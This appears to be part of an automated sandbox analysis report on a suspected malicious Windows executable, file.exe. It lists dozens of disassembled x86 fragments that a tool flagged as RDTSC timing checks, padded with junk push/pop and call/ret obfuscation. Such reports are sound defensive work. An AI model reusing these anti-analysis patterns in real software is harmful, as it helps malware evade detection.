Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13850C5 second address: 13850C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1385226 second address: 138522C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138522C second address: 1385232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13853B7 second address: 13853BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13853BD second address: 13853DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE905AE18h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138863F second address: 1388644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1388644 second address: 1388681 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE905AE0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jns 00007FFAE905AE22h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1388681 second address: 1388685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1388685 second address: 138868B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138868B second address: 1201A16 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FFAE90574C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c mov edx, ecx 0x0000000e sub dword ptr [ebp+122D1C9Bh], eax 0x00000014 popad 0x00000015 push dword ptr [ebp+122D0C35h] 0x0000001b sub dh, 00000007h 0x0000001e sub dword ptr [ebp+122D1814h], ecx 0x00000024 call dword ptr [ebp+122D1926h] 0x0000002a pushad 0x0000002b add dword ptr [ebp+122D18A0h], edi 0x00000031 xor eax, eax 0x00000033 clc 0x00000034 mov edx, dword ptr [esp+28h] 0x00000038 cmc 0x00000039 mov dword ptr [ebp+122D2AF3h], eax 0x0000003f mov dword ptr [ebp+122D18A0h], eax 0x00000045 mov esi, 0000003Ch 0x0000004a or dword ptr [ebp+122D18A0h], ebx 0x00000050 add esi, dword ptr [esp+24h] 0x00000054 stc 0x00000055 lodsw 0x00000057 stc 0x00000058 add eax, dword ptr [esp+24h] 0x0000005c stc 0x0000005d mov ebx, dword ptr [esp+24h] 0x00000061 jmp 00007FFAE90574D8h 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c popad 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1388792 second address: 1388799 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1388799 second address: 13887EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FFAE90574D5h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 push ecx 0x00000013 push edi 0x00000014 pop edi 0x00000015 pop ecx 0x00000016 push esi 0x00000017 jmp 00007FFAE90574D0h 0x0000001c pop esi 0x0000001d popad 0x0000001e mov eax, dword ptr [eax] 0x00000020 push ebx 0x00000021 jmp 00007FFAE90574CAh 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e jo 00007FFAE90574C6h 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13887EF second address: 13887F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1388ABB second address: 1388ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1388ABF second address: 1388AC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1388AC3 second address: 1388B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 51A8F6E5h 0x0000000d mov edx, dword ptr [ebp+122D1E9Ah] 0x00000013 lea ebx, dword ptr [ebp+1245A5A4h] 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007FFAE90574C8h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 call 00007FFAE90574CAh 0x00000038 ja 00007FFAE90574CCh 0x0000003e pop edx 0x0000003f xchg eax, ebx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 jl 00007FFAE90574C6h 0x00000049 pop eax 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1388B1B second address: 1388B25 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FFAE905AE0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AA6A8 second address: 13AA6C4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FFAE90574C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b ja 00007FFAE90574C6h 0x00000011 pop eax 0x00000012 jc 00007FFAE90574D6h 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136A93A second address: 136A940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8343 second address: 13A8361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 jmp 00007FFAE90574D6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8361 second address: 13A837E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 jmp 00007FFAE905AE15h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A837E second address: 13A8386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A850B second address: 13A8511 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8511 second address: 13A8535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FFAE90574CCh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FFAE90574CDh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8535 second address: 13A853A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A853A second address: 13A8544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FFAE90574C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A86BC second address: 13A86D8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FFAE905AE16h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A86D8 second address: 13A86E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnp 00007FFAE90574C6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A883D second address: 13A8841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8841 second address: 13A886C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FFAE90574D7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 ja 00007FFAE90574C6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A886C second address: 13A8884 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE905AE14h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8884 second address: 13A8891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8B2A second address: 13A8B55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE905AE19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007FFAE905AE0Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8F9A second address: 13A8F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A8F9E second address: 13A8FC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE905AE0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c jmp 00007FFAE905AE13h 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A915A second address: 13A9173 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE90574D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9173 second address: 13A917B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A93C6 second address: 13A93CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A93CC second address: 13A93DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jl 00007FFAE905AE0Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9D73 second address: 13A9D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE90574D6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9EEE second address: 13A9EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9EF2 second address: 13A9F02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007FFAE90574C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9F02 second address: 13A9F08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AA07C second address: 13AA080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AA23B second address: 13AA256 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE905AE17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AA256 second address: 13AA25B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AA25B second address: 13AA278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FFAE905AE06h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FFAE905AE10h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AA50D second address: 13AA51C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 jo 00007FFAE90574D6h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AA51C second address: 13AA524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136DEC4 second address: 136DECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B76A5 second address: 13B76AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B6DFD second address: 13B6E01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B6E01 second address: 13B6E07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B6E07 second address: 13B6E10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B6E10 second address: 13B6E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE905AE0Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B6E24 second address: 13B6E30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FFAE90574C6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B7522 second address: 13B7526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B951E second address: 13B9522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B9522 second address: 13B9534 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FFAE905AE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B9595 second address: 13B95D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 add dword ptr [esp], 3A13A091h 0x0000000d call 00007FFAE90574D4h 0x00000012 jl 00007FFAE90574D3h 0x00000018 call 00007FFAE90574CCh 0x0000001d pop esi 0x0000001e pop edi 0x0000001f push 72E9155Eh 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 pop eax 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B9B89 second address: 13B9BAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE905AE10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d jmp 00007FFAE905AE0Ah 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B9BAC second address: 13B9BC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAE90574D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B9BC4 second address: 13B9BC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA0DA second address: 13BA0DF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA0DF second address: 13BA114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebx 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007FFAE905AE08h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 or dword ptr [ebp+122D3882h], edx 0x00000028 nop 0x00000029 push ecx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA114 second address: 13BA13B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE8D0C6C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007FFAE8D0C6B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA1D0 second address: 13BA1D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA1D4 second address: 13BA1DA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA400 second address: 13BA404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA404 second address: 13BA40A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA40A second address: 13BA40F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA6AB second address: 13BA6B1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BA6B1 second address: 13BA6BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FFAE8D89396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BB5D3 second address: 13BB5D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BB5D9 second address: 13BB5DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137499A second address: 13749A2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13749A2 second address: 13749D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007FFAE8D893A5h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jbe 00007FFAE8D8939Ah 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c push ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BBE56 second address: 13BBE6E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FFAE8D0C6C0h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13749D1 second address: 13749EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE8D893A5h 0x00000009 pop ebx 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BBE6E second address: 13BBE84 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FFAE8D0C6B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jo 00007FFAE8D0C6C4h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF30D second address: 13BF31B instructions: 0x00000000 rdtsc 0x00000002 jno 00007FFAE8D89396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C085B second address: 13C0861 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BFB40 second address: 13BFB44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0861 second address: 13C0865 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C05EC second address: 13C05F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0865 second address: 13C08EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FFAE8D0C6C6h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FFAE8D0C6B8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 cld 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f call 00007FFAE8D0C6B8h 0x00000034 pop ebx 0x00000035 mov dword ptr [esp+04h], ebx 0x00000039 add dword ptr [esp+04h], 00000014h 0x00000041 inc ebx 0x00000042 push ebx 0x00000043 ret 0x00000044 pop ebx 0x00000045 ret 0x00000046 sub dword ptr [ebp+1247CEF9h], ebx 0x0000004c push 00000000h 0x0000004e movsx edi, dx 0x00000051 xchg eax, ebx 0x00000052 pushad 0x00000053 jng 00007FFAE8D0C6BCh 0x00000059 jc 00007FFAE8D0C6B8h 0x0000005f pushad 0x00000060 popad 0x00000061 popad 0x00000062 push eax 0x00000063 push edi 0x00000064 push eax 0x00000065 push edx 0x00000066 jns 00007FFAE8D0C6B6h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C05F2 second address: 13C060A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jnc 00007FFAE8D89396h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jbe 00007FFAE8D8939Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C060A second address: 13C0612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
